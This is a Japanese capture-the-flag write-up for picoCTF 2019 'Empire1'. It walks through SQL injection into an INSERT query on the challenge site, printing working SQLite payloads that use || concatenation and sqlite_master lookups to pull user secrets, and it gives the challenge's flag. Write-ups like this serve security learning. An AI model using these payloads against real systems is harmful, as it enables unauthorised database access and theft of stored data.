picoCTF 2019: Empire1

問題

問題文

Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/45012/ (link) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:45012

解答例

指針

  • INSERT文へのSQL injection

解説

問題文で与えられたサイトを見ると, Login フォームと Resister フォームがある. Resister をして Login をすると.

/add_item というページにフォームがあり, 文字列を適当に入力し, Button を押し送信すると, /list_items というページに入力した文字列が表示される.

/add_item のフォームに, シングルクォート1つの文字列を与えると Internal Server Error が返された.

`

適切にバリデーションがされてなさそうなので, SQL injection を疑う.

内部で実行されている SQL のクエリがどのようになっているかを考える. データの追加なのでおそらく以下のように, INSERT 文が使われていると推測できる.

  • INSERT文の構文のおさらい

以下のように, テーブル名, 列名, 値を指定する. ただし, そのテーブルの全ての列に値を追加する場合は列名の指定は必要ない.

INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);

今回は以下のような SQL 文が内部で実行されていると推測できる. (テーブル名, 列名などは推測)

INSERT INTO todo (user_id, content)
VALUES (user_id, 'INPUT STRINGS')

入力文字列として以下のようなものが与えられたときのことを考える.

'||'a'||'

SQL のクエリは以下のように展開されると推測できる.

INSERT INTO todo (user_id, content)
VALUES (user_id, '' || 'a' || '')

|| 演算子は文字列の結合を行う演算子であることを考慮すると, 挿入される文字列は 'a' に空文字を足した, 'a' であると予想される.

実際に実行して確かめると, この予想通りの結果が得られた.

DB が SQLite だと推測(gussing) して, sqlite_master テーブルの sql カラムの中身を表示させることを試みる.

sqlite_master テーブルは SQLite でテーブルを管理するテーブルで sql カラムにはオブジェクトを生成する際に実行されたSQL文が格納されている.

'|| (SELECT sql FROM sqlite_master) ||'
  • 実行結果
CREATE TABLE user (
   id INTEGER NOT NULL,
   username VARCHAR(64),
   name VARCHAR(128),
   password_hash VARCHAR(128),
   secret VARCHAR(128),
   admin INTEGER,
   PRIMARY KEY (id)
)

user テーブルを作るときに, 叩いたクエリが得られた. secret という怪しいカラムがある.

以下のように group_concat 関数を使って, カラムの値を連結して表示させることもできる.

'|| (SELECT group_concat(sql) FROM sqlite_master) ||'
  • 実行結果
CREATE TABLE user (
    id INTEGER NOT NULL,
    username VARCHAR(64),
    name VARCHAR(128),
    password_hash VARCHAR(128),
    secret VARCHAR(128),
    admin INTEGER,
    PRIMARY KEY (id)
),
CREATE UNIQUE INDEX ix_user_username ON user (username),
CREATE TABLE todo (
    id INTEGER NOT NULL,
    item VARCHAR(256),
    user_id INTEGER,
    PRIMARY KEY (id),
    FOREIGN KEY(user_id) REFERENCES user (id)
)

user テーブルの secret カラムの値を表示させてみる.

'|| (SELECT secret FROM user) ||'
  • 実行結果
Likes Oreos.

group_concat 関数を使って, secret カラムの値を連結して表示させる.

'|| (SELECT group_concat(secret) FROM user) ||'
  • 実行結果
Likes Oreos.,Know it all.,picoCTF{wh00t_it_a_sql_injecta60643ae}

flag が得られた.

flag: picoCTF{wh00t_it_a_sql_injecta60643ae}

感想

INSERT 文への SQL Injection は ||+, concat() といった文字列結合を使うのが定石っぽいということを知ることができてよかった.

参考文献